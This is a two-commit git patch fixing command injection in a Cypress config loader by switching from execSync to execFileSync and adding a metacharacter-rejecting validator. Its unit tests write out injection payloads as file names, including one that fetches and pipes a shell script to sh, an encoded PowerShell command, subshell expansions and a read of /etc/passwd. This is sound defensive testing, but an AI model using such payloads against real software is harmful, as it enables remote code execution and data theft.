From 6dbf8f9374c0e25eac818fbcb95f5705ded71710 Mon Sep 17 00:00:00 2001 From: Avinash Bharti <90600575+avinash-bharti@users.noreply.github.com> Date: Thu, 16 Apr 2026 19:15:21 +0530 Subject: [PATCH 1/2] fix(security): prevent command injection via cypress_config_file [APS-18613] - Replace execSync() with execFileSync() in loadJsFile() to avoid shell interpolation of user-controlled cypress_config_filepath values - Pass NODE_PATH via env option instead of shell command prefix, which works cross-platform (Unix and Windows) without shell metacharacters - Add validateFilePath() defense-in-depth check that rejects paths containing shell metacharacters before they reach any exec call - Update unit tests to verify execFileSync is called with array args and to confirm command injection payloads are rejected Resolves: APS-18613 --- bin/helpers/readCypressConfigUtil.js | 37 ++++++++-- .../unit/bin/helpers/readCypressConfigUtil.js | 68 +++++++++++++++++-- 2 files changed, 93 insertions(+), 12 deletions(-) diff --git a/bin/helpers/readCypressConfigUtil.js b/bin/helpers/readCypressConfigUtil.js index 45e29578..e87d8617 100644 --- a/bin/helpers/readCypressConfigUtil.js +++ b/bin/helpers/readCypressConfigUtil.js @@ -8,6 +8,22 @@ const constants = require("./constants"); const utils = require("./utils"); const logger = require('./logger').winstonLogger; +// Defense-in-depth: reject file paths containing shell metacharacters. +// This guards against command injection even if execFileSync is ever +// replaced with a shell-based exec in the future. +const DANGEROUS_PATH_CHARS = /[;"`$|&(){}\\]/; + +function validateFilePath(filepath) { + if (DANGEROUS_PATH_CHARS.test(filepath)) { + throw new Error( + `Invalid cypress config file path: "${filepath}" contains disallowed characters. ` + + 'File paths must not include shell metacharacters such as ; " ` $ | & ( ) { } \\' + ); + } +} + +exports.validateFilePath = validateFilePath; + exports.detectLanguage = (cypress_config_filename) => { const extension = cypress_config_filename.split('.').pop() return constants.CYPRESS_V10_AND_ABOVE_CONFIG_FILE_EXTENSIONS.includes(extension) ? extension : 'js' @@ -186,13 +202,22 @@ exports.convertTsConfig = (bsConfig, cypress_config_filepath, bstack_node_module } exports.loadJsFile = (cypress_config_filepath, bstack_node_modules_path) => { + // Security: validate file path to reject shell metacharacters (defense-in-depth) + validateFilePath(cypress_config_filepath); + const require_module_helper_path = path.join(__dirname, 'requireModule.js') - let load_command = `NODE_PATH="${bstack_node_modules_path}" node "${require_module_helper_path}" "${cypress_config_filepath}"` - if (/^win/.test(process.platform)) { - load_command = `set NODE_PATH=${bstack_node_modules_path}&& node "${require_module_helper_path}" "${cypress_config_filepath}"` - } - logger.debug(`Running: ${load_command}`) - cp.execSync(load_command) + + // Security fix: use execFileSync instead of execSync to avoid shell interpolation. + // execFileSync spawns the process directly without a shell, so user-controlled + // values in cypress_config_filepath cannot break out into shell commands. + const execOptions = { + env: Object.assign({}, process.env, { NODE_PATH: bstack_node_modules_path }) + }; + const args = [require_module_helper_path, cypress_config_filepath]; + + logger.debug(`Running: node ${args.map(a => '"' + a + '"').join(' ')} (via execFileSync, NODE_PATH=${bstack_node_modules_path})`); + cp.execFileSync('node', args, execOptions); + const cypress_config = JSON.parse(fs.readFileSync(config.configJsonFileName).toString()) if (fs.existsSync(config.configJsonFileName)) { fs.unlinkSync(config.configJsonFileName) diff --git a/test/unit/bin/helpers/readCypressConfigUtil.js b/test/unit/bin/helpers/readCypressConfigUtil.js index dd9ecd0e..f02676d4 100644 --- a/test/unit/bin/helpers/readCypressConfigUtil.js +++ b/test/unit/bin/helpers/readCypressConfigUtil.js @@ -40,9 +40,44 @@ describe("readCypressConfigUtil", () => { }); }); + describe('validateFilePath', () => { + it('should accept a normal file path', () => { + expect(() => readCypressConfigUtil.validateFilePath('path/to/cypress.config.js')).to.not.throw(); + }); + + it('should accept paths with spaces', () => { + expect(() => readCypressConfigUtil.validateFilePath('path/to my project/cypress.config.js')).to.not.throw(); + }); + + it('should reject paths with semicolons (command injection)', () => { + expect(() => readCypressConfigUtil.validateFilePath('cypress.config";curl localhost:8000/shell.sh|sh;".js')) + .to.throw(/disallowed characters/); + }); + + it('should reject paths with ampersands (Windows command injection)', () => { + expect(() => readCypressConfigUtil.validateFilePath('cypress.config"&powershell -encodedcommand abc&".js')) + .to.throw(/disallowed characters/); + }); + + it('should reject paths with backticks (subshell injection)', () => { + expect(() => readCypressConfigUtil.validateFilePath('cypress.config`whoami`.js')) + .to.throw(/disallowed characters/); + }); + + it('should reject paths with dollar signs (variable expansion)', () => { + expect(() => readCypressConfigUtil.validateFilePath('cypress.config$(id).js')) + .to.throw(/disallowed characters/); + }); + + it('should reject paths with pipe characters', () => { + expect(() => readCypressConfigUtil.validateFilePath('cypress.config|cat /etc/passwd')) + .to.throw(/disallowed characters/); + }); + }); + describe('loadJsFile', () => { - it('should load js file', () => { - const loadCommandStub = sandbox.stub(cp, "execSync").returns("random string"); + it('should load js file using execFileSync', () => { + const execFileStub = sandbox.stub(cp, "execFileSync").returns("random string"); const readFileSyncStub = sandbox.stub(fs, 'readFileSync').returns('{"e2e": {}}'); const existsSyncStub = sandbox.stub(fs, 'existsSync').returns(true); const unlinkSyncSyncStub = sandbox.stub(fs, 'unlinkSync'); @@ -51,15 +86,20 @@ describe("readCypressConfigUtil", () => { const result = readCypressConfigUtil.loadJsFile('path/to/cypress.config.ts', 'path/to/tmpBstackPackages'); expect(result).to.eql({ e2e: {} }); - sinon.assert.calledOnceWithExactly(loadCommandStub, `NODE_PATH="path/to/tmpBstackPackages" node "${requireModulePath}" "path/to/cypress.config.ts"`); + // Verify execFileSync is called with 'node' as first arg and array of args + sinon.assert.calledOnce(execFileStub); + expect(execFileStub.getCall(0).args[0]).to.eql('node'); + expect(execFileStub.getCall(0).args[1]).to.eql([requireModulePath, 'path/to/cypress.config.ts']); + // Verify NODE_PATH is passed via env option + expect(execFileStub.getCall(0).args[2].env.NODE_PATH).to.eql('path/to/tmpBstackPackages'); sinon.assert.calledOnce(readFileSyncStub); sinon.assert.calledOnce(unlinkSyncSyncStub); sinon.assert.calledOnce(existsSyncStub); }); - it('should load js file for win', () => { + it('should load js file using execFileSync on Windows too (no platform-specific branching needed)', () => { sinon.stub(process, 'platform').value('win32'); - const loadCommandStub = sandbox.stub(cp, "execSync").returns("random string"); + const execFileStub = sandbox.stub(cp, "execFileSync").returns("random string"); const readFileSyncStub = sandbox.stub(fs, 'readFileSync').returns('{"e2e": {}}'); const existsSyncStub = sandbox.stub(fs, 'existsSync').returns(true); const unlinkSyncSyncStub = sandbox.stub(fs, 'unlinkSync'); @@ -68,11 +108,27 @@ describe("readCypressConfigUtil", () => { const result = readCypressConfigUtil.loadJsFile('path/to/cypress.config.ts', 'path/to/tmpBstackPackages'); expect(result).to.eql({ e2e: {} }); - sinon.assert.calledOnceWithExactly(loadCommandStub, `set NODE_PATH=path/to/tmpBstackPackages&& node "${requireModulePath}" "path/to/cypress.config.ts"`); + // Same call signature on Windows - execFileSync handles cross-platform + sinon.assert.calledOnce(execFileStub); + expect(execFileStub.getCall(0).args[0]).to.eql('node'); + expect(execFileStub.getCall(0).args[1]).to.eql([requireModulePath, 'path/to/cypress.config.ts']); + expect(execFileStub.getCall(0).args[2].env.NODE_PATH).to.eql('path/to/tmpBstackPackages'); sinon.assert.calledOnce(readFileSyncStub); sinon.assert.calledOnce(unlinkSyncSyncStub); sinon.assert.calledOnce(existsSyncStub); }); + + it('should reject file paths containing command injection characters', () => { + const maliciousPath = 'cypress.config";curl localhost:8000/shell.sh|sh;".js'; + expect(() => readCypressConfigUtil.loadJsFile(maliciousPath, 'path/to/tmpBstackPackages')) + .to.throw(/disallowed characters/); + }); + + it('should reject Windows command injection payloads', () => { + const maliciousPath = 'cypress.config"&powershell -encodedcommand abc&".js'; + expect(() => readCypressConfigUtil.loadJsFile(maliciousPath, 'path/to/tmpBstackPackages')) + .to.throw(/disallowed characters/); + }); }); describe('resolveTsConfigPath', () => { From 9bb1f6f4ddc7a95c6f8bcd816dae3d854b73302b Mon Sep 17 00:00:00 2001 From: avinash-bharti Date: Mon, 27 Apr 2026 13:31:48 +0530 Subject: [PATCH 2/2] fix(security): allow Windows backslash paths and add file-not-found UX [APS-18613] MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Address review feedback on PR #1080: - Remove backslash (\) from DANGEROUS_PATH_CHARS regex so legitimate Windows absolute/relative paths (C:\Users\..., .\subdir\..., \\server\share\...) are no longer rejected. Backslash is a path separator on Windows, not a shell metacharacter — and the actual security boundary is execFileSync (no shell invocation), not the regex. - Add an fs.existsSync() check inside loadJsFile() that throws a clear "Cypress config file not found at: " error before invoking execFileSync. This is purely a UX improvement — existsSync alone would NOT prevent injection; the metacharacter regex + execFileSync remain the security guarantees. - Update unit tests: * Add positive tests for Windows-style absolute, Program-Files (with spaces), relative (.\subdir\...) and UNC (\\server\share\...) paths * Add a positive test in loadJsFile that exercises the same Windows paths end-to-end without throwing * Add a test for the new file-not-found path that confirms execFileSync is NOT invoked when the file is missing * Update existsSync call-count assertion from calledOnce to calledTwice (UX check + cleanup unlink) Resolves: APS-18613 --- bin/helpers/readCypressConfigUtil.js | 15 +++++- .../unit/bin/helpers/readCypressConfigUtil.js | 51 +++++++++++++++++-- 2 files changed, 60 insertions(+), 6 deletions(-) diff --git a/bin/helpers/readCypressConfigUtil.js b/bin/helpers/readCypressConfigUtil.js index e87d8617..735d2000 100644 --- a/bin/helpers/readCypressConfigUtil.js +++ b/bin/helpers/readCypressConfigUtil.js @@ -11,13 +11,17 @@ const logger = require('./logger').winstonLogger; // Defense-in-depth: reject file paths containing shell metacharacters. // This guards against command injection even if execFileSync is ever // replaced with a shell-based exec in the future. -const DANGEROUS_PATH_CHARS = /[;"`$|&(){}\\]/; +// +// Note: backslash (\) is intentionally NOT included here because it is a +// legitimate path separator on Windows (e.g. C:\Users\me\cypress.config.js). +// The actual security boundary is execFileSync (no shell), not this regex. +const DANGEROUS_PATH_CHARS = /[;"`$|&(){}]/; function validateFilePath(filepath) { if (DANGEROUS_PATH_CHARS.test(filepath)) { throw new Error( `Invalid cypress config file path: "${filepath}" contains disallowed characters. ` + - 'File paths must not include shell metacharacters such as ; " ` $ | & ( ) { } \\' + 'File paths must not include shell metacharacters such as ; " ` $ | & ( ) { }' ); } } @@ -205,6 +209,13 @@ exports.loadJsFile = (cypress_config_filepath, bstack_node_modules_path) => { // Security: validate file path to reject shell metacharacters (defense-in-depth) validateFilePath(cypress_config_filepath); + // UX: surface a clear error if the cypress config file is missing. + // (This is purely a UX check — the security boundary is execFileSync above + // plus the metacharacter regex; existsSync alone would NOT prevent injection.) + if (!fs.existsSync(cypress_config_filepath)) { + throw new Error(`Cypress config file not found at: ${cypress_config_filepath}`); + } + const require_module_helper_path = path.join(__dirname, 'requireModule.js') // Security fix: use execFileSync instead of execSync to avoid shell interpolation. diff --git a/test/unit/bin/helpers/readCypressConfigUtil.js b/test/unit/bin/helpers/readCypressConfigUtil.js index f02676d4..ce93d4b4 100644 --- a/test/unit/bin/helpers/readCypressConfigUtil.js +++ b/test/unit/bin/helpers/readCypressConfigUtil.js @@ -49,6 +49,22 @@ describe("readCypressConfigUtil", () => { expect(() => readCypressConfigUtil.validateFilePath('path/to my project/cypress.config.js')).to.not.throw(); }); + it('should accept Windows absolute paths with backslashes', () => { + expect(() => readCypressConfigUtil.validateFilePath('C:\\Users\\test\\cypress.config.js')).to.not.throw(); + }); + + it('should accept Windows absolute paths with spaces and backslashes (Program Files)', () => { + expect(() => readCypressConfigUtil.validateFilePath('C:\\Program Files\\my app\\cypress.config.js')).to.not.throw(); + }); + + it('should accept Windows relative paths with backslashes', () => { + expect(() => readCypressConfigUtil.validateFilePath('.\\subdir\\cypress.config.js')).to.not.throw(); + }); + + it('should accept UNC-style Windows paths', () => { + expect(() => readCypressConfigUtil.validateFilePath('\\\\server\\share\\cypress.config.js')).to.not.throw(); + }); + it('should reject paths with semicolons (command injection)', () => { expect(() => readCypressConfigUtil.validateFilePath('cypress.config";curl localhost:8000/shell.sh|sh;".js')) .to.throw(/disallowed characters/); @@ -82,9 +98,9 @@ describe("readCypressConfigUtil", () => { const existsSyncStub = sandbox.stub(fs, 'existsSync').returns(true); const unlinkSyncSyncStub = sandbox.stub(fs, 'unlinkSync'); const requireModulePath = path.join(__dirname, '../../../../', 'bin', 'helpers', 'requireModule.js'); - + const result = readCypressConfigUtil.loadJsFile('path/to/cypress.config.ts', 'path/to/tmpBstackPackages'); - + expect(result).to.eql({ e2e: {} }); // Verify execFileSync is called with 'node' as first arg and array of args sinon.assert.calledOnce(execFileStub); @@ -94,7 +110,8 @@ describe("readCypressConfigUtil", () => { expect(execFileStub.getCall(0).args[2].env.NODE_PATH).to.eql('path/to/tmpBstackPackages'); sinon.assert.calledOnce(readFileSyncStub); sinon.assert.calledOnce(unlinkSyncSyncStub); - sinon.assert.calledOnce(existsSyncStub); + // existsSync is now called twice: once for the file-not-found UX check, once for the unlink cleanup + sinon.assert.calledTwice(existsSyncStub); }); it('should load js file using execFileSync on Windows too (no platform-specific branching needed)', () => { @@ -115,7 +132,33 @@ describe("readCypressConfigUtil", () => { expect(execFileStub.getCall(0).args[2].env.NODE_PATH).to.eql('path/to/tmpBstackPackages'); sinon.assert.calledOnce(readFileSyncStub); sinon.assert.calledOnce(unlinkSyncSyncStub); - sinon.assert.calledOnce(existsSyncStub); + // existsSync called twice: file-not-found UX check + unlink cleanup + sinon.assert.calledTwice(existsSyncStub); + }); + + it('should accept Windows-style absolute paths in loadJsFile (no rejection)', () => { + sandbox.stub(cp, "execFileSync").returns("random string"); + sandbox.stub(fs, 'readFileSync').returns('{"e2e": {}}'); + sandbox.stub(fs, 'existsSync').returns(true); + sandbox.stub(fs, 'unlinkSync'); + + // None of these should throw + expect(() => readCypressConfigUtil.loadJsFile('C:\\Users\\test\\cypress.config.js', 'path/to/tmpBstackPackages')) + .to.not.throw(); + expect(() => readCypressConfigUtil.loadJsFile('C:\\Program Files\\my app\\cypress.config.js', 'path/to/tmpBstackPackages')) + .to.not.throw(); + expect(() => readCypressConfigUtil.loadJsFile('.\\subdir\\cypress.config.js', 'path/to/tmpBstackPackages')) + .to.not.throw(); + }); + + it('should throw a clear error when the cypress config file does not exist (UX)', () => { + sandbox.stub(fs, 'existsSync').returns(false); + const execFileStub = sandbox.stub(cp, "execFileSync"); + + expect(() => readCypressConfigUtil.loadJsFile('path/to/missing/cypress.config.js', 'path/to/tmpBstackPackages')) + .to.throw(/Cypress config file not found at:/); + // execFileSync must NOT be invoked when the file is missing + sinon.assert.notCalled(execFileStub); }); it('should reject file paths containing command injection characters', () => {